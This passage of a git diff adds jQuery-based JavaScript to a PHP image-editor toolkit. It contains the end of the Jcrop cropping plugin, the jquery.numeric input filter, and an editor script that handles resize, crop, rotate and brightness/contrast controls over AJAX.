+                       nh = (w/$obj.width()) * $obj.height();
+               }
+               if ((nh > h) && h > 0)
+               {
+                       nh = h;
+                       nw = (h/$obj.height()) * $obj.width();
+               }
+               xscale = $obj.width() / nw;
+               yscale = $obj.height() / nh;
+               $obj.width(nw).height(nh);
+       };
+       /*}}}*/
+       function unscale(c)/*{{{*/
+       {
+               return {
+                       x: parseInt(c.x * xscale), y: parseInt(c.y * yscale), 
+                       x2: parseInt(c.x2 * xscale), y2: parseInt(c.y2 * yscale), 
+                       w: parseInt(c.w * xscale), h: parseInt(c.h * yscale)
+               };
+       };
+       /*}}}*/
+       function doneSelect(pos)/*{{{*/
+       {
+               var c = Coords.getFixed();
+               if (c.w > options.minSelect[0] && c.h > options.minSelect[1])
+               {
+                       Selection.enableHandles();
+                       Selection.done();
+               }
+               else
+               {
+                       Selection.release();
+               }
+               Tracker.setCursor( options.allowSelect?'crosshair':'default' );
+       };
+       /*}}}*/
+       function newSelection(e)/*{{{*/
+       {
+               if (options.disabled) return false;
+               if (!options.allowSelect) return false;
+               btndown = true;
+               docOffset = getPos($img);
+               Selection.disableHandles();
+               myCursor('crosshair');
+               var pos = mouseAbs(e);
+               Coords.setPressed(pos);
+               Tracker.activateHandlers(selectDrag,doneSelect);
+               KeyManager.watchKeys();
+               Selection.update();
+
+               e.stopPropagation();
+               e.preventDefault();
+               return false;
+       };
+       /*}}}*/
+       function selectDrag(pos)/*{{{*/
+       {
+               Coords.setCurrent(pos);
+               Selection.update();
+       };
+       /*}}}*/
+       function newTracker()
+       {
+               var trk = $('<div></div>').addClass(cssClass('tracker'));
+               $.browser.msie && trk.css({ opacity: 0, backgroundColor: 'white' });
+               return trk;
+       };
+
+       // }}}
+       // API methods {{{
+               
+       function animateTo(a)/*{{{*/
+       {
+               var x1 = a[0] / xscale,
+                       y1 = a[1] / yscale,
+                       x2 = a[2] / xscale,
+                       y2 = a[3] / yscale;
+
+               if (animating) return;
+
+               var animto = Coords.flipCoords(x1,y1,x2,y2);
+               var c = Coords.getFixed();
+               var animat = initcr = [ c.x, c.y, c.x2, c.y2 ];
+               var interv = options.animationDelay;
+
+               var x = animat[0];
+               var y = animat[1];
+               var x2 = animat[2];
+               var y2 = animat[3];
+               var ix1 = animto[0] - initcr[0];
+               var iy1 = animto[1] - initcr[1];
+               var ix2 = animto[2] - initcr[2];
+               var iy2 = animto[3] - initcr[3];
+               var pcent = 0;
+               var velocity = options.swingSpeed;
+
+               Selection.animMode(true);
+
+               var animator = function()
+               {
+                       return function()
+                       {
+                               pcent += (100 - pcent) / velocity;
+
+                               animat[0] = x + ((pcent / 100) * ix1);
+                               animat[1] = y + ((pcent / 100) * iy1);
+                               animat[2] = x2 + ((pcent / 100) * ix2);
+                               animat[3] = y2 + ((pcent / 100) * iy2);
+
+                               if (pcent < 100) animateStart();
+                                       else Selection.done();
+
+                               if (pcent >= 99.8) pcent = 100;
+
+                               setSelectRaw(animat);
+                       };
+               }();
+
+               function animateStart()
+                       { window.setTimeout(animator,interv); };
+
+               animateStart();
+       };
+       /*}}}*/
+       function setSelect(rect)//{{{
+       {
+               setSelectRaw([rect[0]/xscale,rect[1]/yscale,rect[2]/xscale,rect[3]/yscale]);
+       };
+       //}}}
+       function setSelectRaw(l) /*{{{*/
+       {
+               Coords.setPressed([l[0],l[1]]);
+               Coords.setCurrent([l[2],l[3]]);
+               Selection.update();
+       };
+       /*}}}*/
+       function setOptions(opt)/*{{{*/
+       {
+               if (typeof(opt) != 'object') opt = { };
+               options = $.extend(options,opt);
+
+               if (typeof(options.onChange)!=='function')
+                       options.onChange = function() { };
+
+               if (typeof(options.onSelect)!=='function')
+                       options.onSelect = function() { };
+
+       };
+       /*}}}*/
+       function tellSelect()/*{{{*/
+       {
+               return unscale(Coords.getFixed());
+       };
+       /*}}}*/
+       function tellScaled()/*{{{*/
+       {
+               return Coords.getFixed();
+       };
+       /*}}}*/
+       function setOptionsNew(opt)/*{{{*/
+       {
+               setOptions(opt);
+               interfaceUpdate();
+       };
+       /*}}}*/
+       function disableCrop()//{{{
+       {
+               options.disabled = true;
+               Selection.disableHandles();
+               Selection.setCursor('default');
+               Tracker.setCursor('default');
+       };
+       //}}}
+       function enableCrop()//{{{
+       {
+               options.disabled = false;
+               interfaceUpdate();
+       };
+       //}}}
+       function cancelCrop()//{{{
+       {
+               Selection.done();
+               Tracker.activateHandlers(null,null);
+       };
+       //}}}
+       function destroy()//{{{
+       {
+               $div.remove();
+               $origimg.show();
+       };
+       //}}}
+
+       function interfaceUpdate(alt)//{{{
+       // This method tweaks the interface based on options object.
+       // Called when options are changed and at end of initialization.
+       {
+               options.allowResize ?
+                       alt?Selection.enableOnly():Selection.enableHandles():
+                       Selection.disableHandles();
+
+               Tracker.setCursor( options.allowSelect? 'crosshair': 'default' );
+               Selection.setCursor( options.allowMove? 'move': 'default' );
+
+               $div.css('backgroundColor',options.bgColor);
+
+               if ('setSelect' in options) {
+                       setSelect(opt.setSelect);
+                       Selection.done();
+                       delete(options.setSelect);
+               }
+
+               if ('trueSize' in options) {
+                       xscale = options.trueSize[0] / boundx;
+                       yscale = options.trueSize[1] / boundy;
+               }
+
+               xlimit = options.maxSize[0] || 0;
+               ylimit = options.maxSize[1] || 0;
+               xmin = options.minSize[0] || 0;
+               ymin = options.minSize[1] || 0;
+
+               if ('outerImage' in options)
+               {
+                       $img.attr('src',options.outerImage);
+                       delete(options.outerImage);
+               }
+
+               Selection.refresh();
+       };
+       //}}}
+
+       // }}}
+
+       $hdl_holder.hide();
+       interfaceUpdate(true);
+       
+       var api = {
+               animateTo: animateTo,
+               setSelect: setSelect,
+               setOptions: setOptionsNew,
+               tellSelect: tellSelect,
+               tellScaled: tellScaled,
+
+               disable: disableCrop,
+               enable: enableCrop,
+               cancel: cancelCrop,
+
+               focus: KeyManager.watchKeys,
+
+               getBounds: function() { return [ boundx * xscale, boundy * yscale ]; },
+               getWidgetSize: function() { return [ boundx, boundy ]; },
+
+               release: Selection.release,
+               destroy: destroy
+
+       };
+
+       $origimg.data('Jcrop',api);
+       return api;
+};
+
+$.fn.Jcrop = function(options)/*{{{*/
+{
+       function attachWhenDone(from)/*{{{*/
+       {
+               var loadsrc = options.useImg || from.src;
+               var img = new Image();
+               img.onload = function() { $.Jcrop(from,options); };
+               img.src = loadsrc;
+       };
+       /*}}}*/
+       if (typeof(options) !== 'object') options = { };
+
+       // Iterate over each object, attach Jcrop
+       this.each(function()
+       {
+               // If we've already attached to this object
+               if ($(this).data('Jcrop'))
+               {
+                       // The API can be requested this way (undocumented)
+                       if (options == 'api') return $(this).data('Jcrop');
+                       // Otherwise, we just reset the options...
+                       else $(this).data('Jcrop').setOptions(options);
+               }
+               // If we haven't been attached, preload and attach
+               else attachWhenDone(this);
+       });
+
+       // Return "this" so we're chainable a la jQuery plugin-style!
+       return this;
+};
+/*}}}*/
+
+})(jQuery);
diff --git a/Toolkit/PHPImageEditor/javascript/jquery.numeric.js b/Toolkit/PHPImageEditor/javascript/jquery.numeric.js
new file mode 100644 (file)
index 0000000..5c5aae7
--- /dev/null
@@ -0,0 +1,127 @@
+/*
+ *
+ * Copyright (c) 2006/2007 Sam Collett (http://www.texotela.co.uk)
+ * Licensed under the MIT License:
+ * http://www.opensource.org/licenses/mit-license.php
+ * 
+ * Version 1.0
+ * Demo: http://www.texotela.co.uk/code/jquery/numeric/
+ *
+ * $LastChangedDate: 2007-05-29 11:31:36 +0100 (Tue, 29 May 2007) $
+ * $Rev: 2005 $
+ */
+/*
+ * Allows only valid characters to be entered into input boxes.
+ * Note: does not validate that the final text is a valid number
+ * (that could be done by another script, or server-side)
+ *
+ * @name     numeric
+ * @param    decimal      Decimal separator (e.g. '.' or ',' - default is '.')
+ * @param    callback     A function that runs if the number is not valid (fires onblur)
+ * @author   Sam Collett (http://www.texotela.co.uk)
+ * @example  $(".numeric").numeric();
+ * @example  $(".numeric").numeric(",");
+ * @example  $(".numeric").numeric(null, callback);
+ *
+ */
+jQuery.fn.numeric = function(decimal, callback)
+{
+       decimal = decimal || ".";
+       callback = typeof callback == "function" ? callback : function(){};
+       this.keypress(
+               function(e)
+               {
+                       var key = e.charCode ? e.charCode : e.keyCode ? e.keyCode : 0;
+                       // allow enter/return key (only when in an input box)
+                       if(key == 13 && this.nodeName.toLowerCase() == "input")
+                       {
+                               return true;
+                       }
+                       else if(key == 13)
+                       {
+                               return false;
+                       }
+                       var allow = false;
+                       // allow Ctrl+A
+                       if((e.ctrlKey && key == 97 /* firefox */) || (e.ctrlKey && key == 65) /* opera */) return true;
+                       // allow Ctrl+X (cut)
+                       if((e.ctrlKey && key == 120 /* firefox */) || (e.ctrlKey && key == 88) /* opera */) return true;
+                       // allow Ctrl+C (copy)
+                       if((e.ctrlKey && key == 99 /* firefox */) || (e.ctrlKey && key == 67) /* opera */) return true;
+                       // allow Ctrl+Z (undo)
+                       if((e.ctrlKey && key == 122 /* firefox */) || (e.ctrlKey && key == 90) /* opera */) return true;
+                       // allow or deny Ctrl+V (paste), Shift+Ins
+                       if((e.ctrlKey && key == 118 /* firefox */) || (e.ctrlKey && key == 86) /* opera */
+                       || (e.shiftKey && key == 45)) return true;
+                       // if a number was not pressed
+                       if(key < 48 || key > 57)
+                       {
+                               /* '-' only allowed at start */
+                               if(key == 45 && this.value.length == 0) return true;
+                               /* only one decimal separator allowed */
+                               if(key == decimal.charCodeAt(0) && this.value.indexOf(decimal) != -1)
+                               {
+                                       allow = false;
+                               }
+                               // check for other keys that have special purposes
+                               if(
+                                       key != 8 /* backspace */ &&
+                                       key != 9 /* tab */ &&
+                                       key != 13 /* enter */ &&
+                                       key != 35 /* end */ &&
+                                       key != 36 /* home */ &&
+                                       key != 37 /* left */ &&
+                                       key != 39 /* right */ &&
+                                       key != 46 /* del */
+                               )
+                               {
+                                       allow = false;
+                               }
+                               else
+                               {
+                                       // for detecting special keys (listed above)
+                                       // IE does not support 'charCode' and ignores them in keypress anyway
+                                       if(typeof e.charCode != "undefined")
+                                       {
+                                               // special keys have 'keyCode' and 'which' the same (e.g. backspace)
+                                               if(e.keyCode == e.which && e.which != 0)
+                                               {
+                                                       allow = true;
+                                               }
+                                               // or keyCode != 0 and 'charCode'/'which' = 0
+                                               else if(e.keyCode != 0 && e.charCode == 0 && e.which == 0)
+                                               {
+                                                       allow = true;
+                                               }
+                                       }
+                               }
+                               // if key pressed is the decimal and it is not already in the field
+                               if(key == decimal.charCodeAt(0) && this.value.indexOf(decimal) == -1)
+                               {
+                                       allow = true;
+                               }
+                       }
+                       else
+                       {
+                               allow = true;
+                       }
+                       return allow;
+               }
+       )
+       .blur(
+               function()
+               {
+                       var val = jQuery(this).val();
+                       if(val != "")
+                       {
+                               var re = new RegExp("^\\d+$|\\d*" + decimal + "\\d+");
+                               if(!re.exec(val))
+                               {
+                                       callback.apply(this);
+                               }
+                       }
+               }
+       );
+       return this;
+}
\ No newline at end of file
diff --git a/Toolkit/PHPImageEditor/javascript/phpimageeditor.js b/Toolkit/PHPImageEditor/javascript/phpimageeditor.js
new file mode 100644 (file)
index 0000000..bb37f83
--- /dev/null
@@ -0,0 +1,711 @@
+var objCrop = null;
+
+function ajax_post()
+{
+       if ($('#loading').css('display') == 'none') {
+               $('#width').attr('disabled','disabled');
+               $('#height').attr('disabled','disabled');
+               $('#keepproportions').attr('disabled','disabled');
+               $('#btnRotateLeft').attr('disabled','disabled');
+               $('#btnRotateRight').attr('disabled','disabled');
+               $('#croptop').attr('disabled','disabled');
+               $('#cropbottom').attr('disabled','disabled');
+               $('#cropleft').attr('disabled','disabled');
+               $('#cropright').attr('disabled','disabled');
+               $('#grayscale').attr('disabled','disabled');
+               $('#btnupdate').attr('disabled','disabled');
+               $('#btnsave').attr('disabled','disabled');
+               $('#btnundo').attr('disabled','disabled');
+               $('#brightness_slider_track').slider('disable');
+               $('#contrast_slider_track').slider('disable');
+       
+               $('#loading').css('display','block');
+               $('#loading_bar').width(0);
+               $('#loading_bar').animate({width: document.getElementById('loading').offsetWidth-30}, document.getElementById('loading').offsetWidth*10);
+               
+               $.ajax({
+            timeout: AjaxPostTimeoutMs,
+            type: "POST",
+            url: FormAction,
+            data: "grayscaleval="+$('#grayscaleval').val()+
+                "&keepproportionsval="+$('#keepproportionsval').val()+
+                "&image_name="+$('#image_name').val()+
+                "&width="+$('#width').val()+
+                "&widthoriginal="+$('#widthoriginal').val()+
+                "&height="+$('#height').val()+
+                "&heightoriginal="+$('#heightoriginal').val()+
+                "&rotate="+$('#rotate').val()+
+                "&croptop="+$('#croptop').val()+
+                "&cropleft="+$('#cropleft').val()+
+                "&cropright="+$('#cropright').val()+
+                "&cropbottom="+$('#cropbottom').val()+
+                "&contrast="+$('#contrast').val()+
+                "&brightness="+$('#brightness').val()+
+                "&actiontype="+$('#actiontype').val()+
+                "&panel="+$('#panel').val()+
+                "&language="+$('#language').val()+
+                "&actions="+$('#actions').val()+
+                "&widthlast="+$('#widthlast').val()+
+                "&heightlast="+$('#heightlast').val()+
+                "&userid="+$('#userid').val()+
+                "&contrastlast="+$('#contrastlast').val()+
+                "&brightnesslast="+$('#brightnesslast').val()+
+                "&widthlastbeforeresize="+$('#widthlastbeforeresize').val()+
+                "&heightlastbeforeresize="+$('#heightlastbeforeresize').val()+
+                "&cropkeepproportionsval="+$('#cropkeepproportionsval').val()+
+                "&cropkeepproportionsratio="+$('#cropkeepproportionsratio').val()+
+                "&isajaxpost=true",
+               success: function(data)
+               {       
+                       $('#phpImageEditor').html(data);
+                       activate_form();
+                       phpimageeditor_crop_activator(parseInt($('#panel').val()));
+                       phpimageeditor_init();
+                       $('#loading_bar').stop();
+                       $('#loading').css('display','none');
+               },
+           error: function(XMLHttpRequest, textStatus, errorThrown)
+           {
+                       activate_form();
+                       $('#ulJsErrors').html("");
+                       adderror(TextAnUnexpectedError);
+                       $('#divJsErrors').css('display','block');
+                       $('#ulJsErrors').css('display','block');
+                       phpimageeditor_crop_activator(parseInt($('#panel').val()));
+                       $('#loading_bar').stop();
+                       $('#loading').css('display','none');
+           }
+               });
+               
+       }
+}
+
+function isinteger(s)
+{
+    var i;
+
+    if (isempty(s))
+    if (isinteger.arguments.length == 1) return 0;
+    else return (isinteger.arguments[1] == true);
+
+    for (i = 0; i < s.length; i++)
+    {
+       var c = s.charAt(i);
+
+       if (!isdigit(c)) return false;
+    }
+
+    return true;
+}
+
+function focus_on_enter(element, event)
+{
+       if(event.keyCode == 13)
+               element.focus();
+}
+
+function reload_mouse_crop()
+{
+       objCrop.destroy();
+       objCrop = $.Jcrop('#image',{onChange: set_crop_values,onSelect: set_crop_values, aspectRatio: $("input#cropkeepproportions").attr('checked') ? $("#cropkeepproportionsratio").val() : 0});              
+       $(".jcrop-holder").css("display", "none");
+       $("#image").css("display", "block");                    
+}
+
+function update_width(InputWidth, EditForm)
+{
+       if (isinteger(InputWidth.val()))
+       {
+               var Width = parseInt($('#width').val());
+               var Height = parseInt($('#height').val());
+               
+               $('#image').css('width',Width+'px');
+               
+               if ($("input#keepproportions").attr('checked'))
+               {
+                       $('#image').css('height', get_proportional_height(Width, EditForm) + "px");
+                       $('#height').val(get_proportional_height(Width, EditForm));
+               }
+               
+               update_mouse_resizer();
+               reload_mouse_crop();
+       }
+}
+
+function update_mouse_resizer()
+{
+       $('#imageResizerKeepProportions').css('width',$('#width').val()+'px');  
+       $('#imageResizerKeepProportions').css('height',$('#height').val()+'px');
+       $('#imageResizerNoProportions').css('width',$('#width').val()+'px');    
+       $('#imageResizerNoProportions').css('height',$('#height').val()+'px');
+}
+
+function update_height(InputHeight, EditForm)
+{
+       if (isinteger(InputHeight.val()))
+       {
+               var Height = parseInt($('#height').val());
+               var Width = parseInt($('#width').val());
+               
+               $('#image').css('height',$('#height').val()+'px');
+               
+               if ($("input#keepproportions").attr('checked'))
+               {
+                       $('#image').css('width',get_proportional_width(Height, EditForm)+'px');
+                       $('#width').val(get_proportional_width(Height, EditForm));
+               }
+               
+               update_mouse_resizer();
+               reload_mouse_crop();
+       }
+}
+
+function isempty(s)
+{
+       return ((s == null) || (s.length == 0))
+}
+
+function isdigit (c)
+{
+       return ((c >= "0") && (c <= "9"))
+}
+
+function isintegerinrange(s, a, b)
+{   
+       if (isempty(s))
+         if (isintegerinrange.arguments.length == 1) return false;
+         else return (isintegerinrange.arguments[1] == true);
+
+      // Catch non-integer strings to avoid creating a NaN below,
+      // which isn't available on JavaScript 1.0 for Windows.
+      if (!isinteger(s, false)) return false;
+
+      // Now, explicitly change the type to integer via parseInt
+      // so that the comparison code below will work both on
+      // JavaScript 1.2 (which typechecks in equality comparisons)
+      // and JavaScript 1.1 and before (which doesn't).
+      var num = parseInt (s);
+      return ((num >= a) && (num <= b));
+}
+
+function validate_form()
+{
+       var sendForm = true;
+       
+       var width = $('#width').val();
+       var height = $('#height').val();
+       var cropleft = $('#cropleft').val();
+       var cropright = $('#cropright').val();
+       var croptop = $('#croptop').val();
+       var cropbottom = $('#cropbottom').val();
+    var imageName = $('#image_name').val();
+       
+       $('#divJsErrors').css('display','none');
+       $('#ulJsErrors').css('display','none');
+       
+       $('#ulJsErrors').html("");
+
+    if (imageName == "") {
+        adderror("\"Image Name\" is Required!" );
+        sendForm = false;
+    }
+
+       if (width == "")
+       {
+               adderror("\"" + TextWidth + "\" " + TextIsRequired)
+               sendForm = false;
+       }
+       
+       if (height == "")
+       {
+               adderror("\"" + TextHeight + "\" " + TextIsRequired)
+               sendForm = false;
+       }
+       
+       if (!sendForm)
+       {
+               $('#divJsErrors').css('display','block');
+               $('#ulJsErrors').css('display','block');
+
+               return sendForm;
+       }
+       
+       if (!isinteger(width))
+       {
+               adderror("\"" + TextWidth + "\" " + TextMustBeNumeric)
+               sendForm = false;
+       }
+       
+       if (!isinteger(height))
+       {
+               adderror("\"" + TextHeight + "\" " + TextMustBeNumeric)
+               sendForm = false;
+       }
+       
+       if (!sendForm)
+       {
+               $('#divJsErrors').css('display','block');
+               $('#ulJsErrors').css('display','block');
+               return sendForm;
+       }
+
+       width = parseInt(width);
+       height = parseInt(height);
+
+       if (!isintegerinrange(width, 1, ImageMaxWidth))
+       {
+               adderror("\"" + TextWidth + "\" " + TextNotInRange + ": 1 - " + ImageMaxWidth)
+               sendForm = false;
+       }
+       
+       if (!isintegerinrange(height, 1, ImageMaxHeight))
+       {
+               adderror("\"" + TextHeight + "\" " + TextNotInRange + ": 1 - " + ImageMaxHeight)
+               sendForm = false;
+       }
+               
+       if (!sendForm)
+       {
+               $('#divJsErrors').css('display','block');
+               $('#ulJsErrors').css('display','block');
+       }
+
+       return sendForm;
+}
+
+function adderror(ErrorText)
+{
+       $('#ulJsErrors').html($('#ulJsErrors').html()+'<li>'+ErrorText+'</li>');
+}
+
+function get_proportional_width(Height, EditForm)
+{
+       var HeightOriginal = parseInt($("#heightlastbeforeresize").val());
+       var WidthOriginal = parseInt($("#widthlastbeforeresize").val());
+       
+       return Math.round((WidthOriginal/HeightOriginal)*Height);
+}
+
+function get_proportional_height(Width, EditForm)
+{
+       var HeightOriginal = parseInt($("#heightlastbeforeresize").val());
+       var WidthOriginal = parseInt($("#widthlastbeforeresize").val());
+       
+       return Math.round((HeightOriginal/WidthOriginal)*Width);
+}
+
+function remove_px(Value)
+{
+       return Value.replace("px","");
+}
+
+function activate_form()
+{
+       $('#width').removeAttr('disabled');
+       $('#height').removeAttr('disabled');
+       $('#keepproportions').removeAttr('disabled');
+       $('#btnRotateLeft').removeAttr('disabled');
+       $('#btnRotateRight').removeAttr('disabled');
+       $('#croptop').removeAttr('disabled');
+       $('#cropbottom').removeAttr('disabled');
+       $('#cropleft').removeAttr('disabled');
+       $('#cropright').removeAttr('disabled');
+       $('#grayscale').removeAttr('disabled');
+       $('#btnupdate').removeAttr('disabled');
+       $('#btnsave').removeAttr('disabled');
+       $('#btnundo').removeAttr('disabled');
+       $('#brightness_slider_track').slider('enable');
+       $('#contrast_slider_track').slider('enable');
+       
+       if ($('#actions').val() == '')
+       {
+               $('#btnundo').attr('disabled','disabled');
+               $('#btnsave').attr('disabled','disabled');
+       }
+       else
+       {
+               $('#btnundo').removeAttr('disabled');
+               $('#btnsave').removeAttr('disabled');
+       }       
+}
+
+
+function set_crop_values(c)
+{
+       if (isinteger($("#height").val()) && isinteger($("#width").val()))
+       {
+               $("#croptop").val(c.y);
+               $("#cropbottom").val(parseInt($("#height").val()) - (c.y + c.h));
+               $("#cropleft").val(c.x);
+               $("#cropright").val(parseInt($("#width").val()) - (c.x + c.w));
+               $("#cropwidth").html(c.w);
+               $("#cropheight").html(c.h);
+       }
+}
+
+function phpimageeditor_resize_activator(selectedIndex)
+{
+       if (selectedIndex == MenuResize)
+       {
+               if ($('#keepproportionsval').val() == "1")
+               {
+                       $("#imageResizerKeepProportions").css("display", "block");
+                       $("#imageResizerNoProportions").css("display", "none");
+               }
+               else
+               {
+                       $("#imageResizerKeepProportions").css("display", "none");
+                       $("#imageResizerNoProportions").css("display", "block");
+               }
+       }
+       else
+       {
+               $("#imageResizerKeepProportions").css("display", "none");
+               $("#imageResizerNoProportions").css("display", "none");
+       }
+}
+
+function phpimageeditor_panelfade(selectedIndex)
+{
+       for (i = 0; i < 4; i++)
+       {
+               if ($('#panel_'+i) != null)
+               {
+                       $("#panel_"+i).css('opacity','0.0');
+       
+                       if (i == selectedIndex)
+                       {
+                               $("#menuitem_"+i).removeClass("not-selected");                          
+                               $("#menuitem_"+i).addClass("selected");
+                               $("#panel_"+i).css('display','block');
+                               $("#panel_"+i).fadeTo("normal", 1.0);
+                       }
+                       else
+                       {
+                               $("#menuitem_"+i).removeClass("selected");
+                               $("#menuitem_"+i).addClass("not-selected");                             
+                               $("#panel_"+i).css('display','none');
+                       }
+               }
+       }
+       
+       if (selectedIndex != MenuCrop)
+       {
+               $("#cropleft").val("0");
+               $("#cropright").val("0");
+               $("#croptop").val("0");
+               $("#cropbottom").val("0");
+               $("#cropwidth").html("0");
+               $("#cropheight").html("0");
+       }
+       
+       phpimageeditor_resize_activator(selectedIndex);
+       phpimageeditor_crop_activator(selectedIndex);
+               
+       $("#panel").val(selectedIndex);
+}
+
+function phpimageeditor_crop_activator(selectedIndex)
+{
+       if (objCrop != null)
+       {       
+               if (selectedIndex != MenuCrop)
+               {
+                       objCrop.release();
+                       objCrop.disable();
+                       $(".jcrop-holder").css("display", "none");
+                       $("#image").css("display", "block");
+               }
+               else
+               {
+                       objCrop.release();
+                       objCrop.enable();
+                       $(".jcrop-holder").css("display", "block");
+                       $("#image").css("display", "block");
+               }
+       }
+}
+
+function phpimageeditor_init()
+{
+    objCrop = $.Jcrop('#image',{onChange: set_crop_values,onSelect: set_crop_values, aspectRatio: $("input#cropkeepproportions").attr('checked') ? $("input#cropkeepproportionsratio").val() : 0});
+
+    $("#imageResizerKeepProportions").resizable(
+    {
+        aspectRatio: parseFloat($("input#widthlastbeforeresize").val()) / parseFloat($("input#heightlastbeforeresize").val()),
+        stop: function(event,ui)
+        {        
+            var resize_width = parseInt(remove_px($("#imageResizerKeepProportions").css("width")));
+            var resize_height = parseInt(remove_px($("#imageResizerKeepProportions").css("height")));
+                        
+            $("#image").css("width", resize_width+"px");
+            $("#image").css("height", resize_height+"px");
+            $("#width").val(resize_width);
+            $("#height").val(resize_height);
+
+            update_mouse_resizer();
+
+            $("#imageResizerKeepProportions").css("opacity", "0.0");
+                        
+            reload_mouse_crop();
+        },
+        start: function(event,ui)
+        {        
+            $("#imageResizerKeepProportions").css("opacity", "0.5");
+        }
+    });
+                
+    $("#imageResizerNoProportions").resizable(
+    {
+        aspectRatio: false,
+        stop: function(event,ui)
+        {        
+            var resize_width = parseInt(remove_px($("#imageResizerNoProportions").css("width")));
+            var resize_height = parseInt(remove_px($("#imageResizerNoProportions").css("height")));
+                        
+            $("#image").css("width", resize_width+"px");
+            $("#image").css("height", resize_height+"px");
+            $("#width").val(resize_width);
+            $("#height").val(resize_height);
+                        
+            update_mouse_resizer();
+
+            $("#widthlastbeforeresize").val(resize_width);
+            $("#heightlastbeforeresize").val(resize_height);
+            $("#imageResizerKeepProportions").resizable('option','aspectRatio',parseFloat($('#widthlastbeforeresize').val())/parseFloat($('#heightlastbeforeresize').val()));
+
+            $("#imageResizerNoProportions").css("opacity", "0.0");
+
+            reload_mouse_crop();
+        },
+        start: function(event,ui)
+        {        
+            $("#imageResizerNoProportions").css("opacity", "0.5");
+        }
+    });
+    
+    $("#contrast_slider_track").slider({value: parseInt($("#contrast").val()) + ContrastMax, min: 1, max: ((ContrastMax*2)+1), step: 1,
+       stop: function(event,ui)
+        {        
+            if (validate_form())
+                ajax_post();
+        },
+        slide: function(event, ui) 
+        {
+            $("#contrast").val(parseInt(ui.value)-((ContrastMax)+1));
+        }
+    });
+    
+    $("#brightness_slider_track").slider({value: (parseInt($("input#brightness").val())+BrightnessMax),min: 1,max: ((BrightnessMax*2)+1),step: 1,
+       stop: function(event,ui)
+        {        
+            if (validate_form())
+                ajax_post();
+        },
+        slide: function(event, ui) 
+        {
+            $("#brightness").val(parseInt(ui.value)-(BrightnessMax+1));
+        }
+    });
+                
+    $("#grayscale").click(function()
+    {
+        if (validate_form())
+        {
+            $("#grayscale").attr('checked') ? $('#grayscaleval').val('1') : $('#grayscaleval').val('0');
+            ajax_post();
+        }
+    });
+                
+    $("#btnupdate").click(function()
+    {
+        if (validate_form())
+        {
+               $("#actiontype").val(ActionUpdate);                                      
+            ajax_post();
+        }
+    });
+                
+    $("#btnundo").click(function()
+    {
+        if (validate_form())
+        {
+            $("#actiontype").val(ActionUndo);                                    
+            ajax_post();
+        }
+    });
+
+    $("#btnsave").click(function()
+    {
+        if (validate_form())
+        {
+            $("#actiontype").val(ActionSaveAndClose);                                    
+            ajax_post();
+        }
+    });
+
+    $("#btnRotateLeft").click(function()
+    {
+        if (validate_form())
+        {
+            $("#rotate").val(ActionRotateLeft);
+            ajax_post();
+        }
+    });
+
+    $("#btnRotateRight").click(function()
+    {
+        if (validate_form())
+        {
+            $("#rotate").val(ActionRotateRight);
+            ajax_post();
+        }
+    });
+                
+    $("form#" + FormId).submit(function()
+    {
+        if (validate_form())
+        {
+            $("#actiontype").val(ActionSaveAndClose);
+            return true;
+        }
+        return false;
+    });
+                
+    $("#width").keydown(function(event)
+    {
+        focus_on_enter($("input#btnupdate"), event);
+    });
+                
+    $("#width").keyup(function()
+    {
+        update_width($(this),$("form#" + FormId));
+    });
+                
+    $("#height").keydown(function(event)
+    {
+        focus_on_enter($("input#btnupdate"), event);
+    });
+                
+    $("#height").keyup(function()
+    {
+        update_height($(this),$("form#" + FormId));
+    });
+                
+    $("#keepproportions").click(function()
+    {
+        if ($(this).attr('checked'))
+        {
+            $('#keepproportionsval').val('1');
+            $('#imageResizerKeepProportions').css('display','block');
+            $('#imageResizerNoProportions').css('display','none');  
+        }
+        else
+        {
+            $('#keepproportionsval').val('0'); 
+            $('#imageResizerKeepProportions').css('display','none');
+            $('#imageResizerNoProportions').css('display','block'); 
+        }
+    });
+         
+
+    $("#cropkeepproportions").click(function()
+    {
+        if ($(this).attr('checked'))
+        {
+            $('#cropkeepproportionsval').val('1');
+        }
+        else
+        {
+            $('#cropkeepproportionsval').val('0'); 
+        }
+    });
+    
+    $("#menuitem_" + MenuResize).click(function()
+    {
+        if ($('#panel').val() != MenuResize)
+        {
+            phpimageeditor_panelfade(MenuResize);
+        }
+    });
+                
+   $("#menuitem_" + MenuRotate).click(function()
+   {
+       if ($('#panel').val() != MenuRotate)
+       {
+            phpimageeditor_panelfade(MenuRotate);
+        }
+    });
+            
+    $("#menuitem_" + MenuCrop).click(function()
+    {
+        if ($('#panel').val() != MenuCrop)
+        {
+            phpimageeditor_panelfade(MenuCrop);
+        }
+    });
+            
+    if ($("#menuitem_" + MenuEffects) != null)
+    {
+        $("#menuitem_" + MenuEffects).click(function()
+        {
+            if ($('#panel').val() != MenuEffects)
+            {
+                phpimageeditor_panelfade(MenuEffects);
+            }
+        });
+    }
+
+    $('#cropkeepproportions').change(function(e) 
+    {
+        if (objCrop != null)
+        {
+            if (this.checked && parseFloat($("#cropwidth").html()) != 0 && parseFloat($("#cropheight").html()) != 0)
+            {   
+                var aspectRatio = parseFloat($("#cropwidth").html()) / parseFloat($("#cropheight").html());
+                objCrop.setOptions({ aspectRatio: aspectRatio });
+                $("#cropkeepproportionsratio").val(aspectRatio);
+            }
+            else if (this.checked && parseFloat($("#cropwidth").html()) == 0 && parseFloat($("#cropheight").html()) == 0)
+            {
+                objCrop.setOptions({ aspectRatio: $("#cropkeepproportionsratio").val() });
+            }   
+            else
+            {   
+                objCrop.setOptions({ aspectRatio: 0 });
+            }
+        }
+    });
+
+    $("input#width").numeric();
+    $("input#height").numeric();
+                
+    var selectedIndex = parseInt($('#panel').val());
+    for (i = 0; i < 4; i++)
+    {
+        if ($('#panel_'+i) != null)
+        {
+            if (i == selectedIndex)
+            {
+                $("#panel_"+i).css('opacity','1.0');
+                $("#panel_"+i).css('display','block');
+            }
+            else
+            {
+                $("#panel_"+i).css('opacity','0.0');
+                $("#panel_"+i).css('display','none');
+            }
+        }
+    }   
+    
+    phpimageeditor_crop_activator(selectedIndex);
+    phpimageeditor_resize_activator(selectedIndex);
+}
+
+$(document).ready(function()
+{
+       phpimageeditor_init();
+});define('CKIMAGE_ORIGINAL', TOOLBOX_ORIGINAL);
+define('CKIMAGE_RESIZED', TOOLBOX_RESIZED);
+define('CKIMAGE_MIDSIZED', TOOLBOX_MIDSIZED);
+define('CKIMAGE_THUMB', TOOLBOX_THUMB);
\ No newline at end of file
diff --git a/Toolkit/PHPImageEditor/javascript/ui.core.js b/Toolkit/PHPImageEditor/javascript/ui.core.js
new file mode 100644 (file)
index 0000000..89300d9
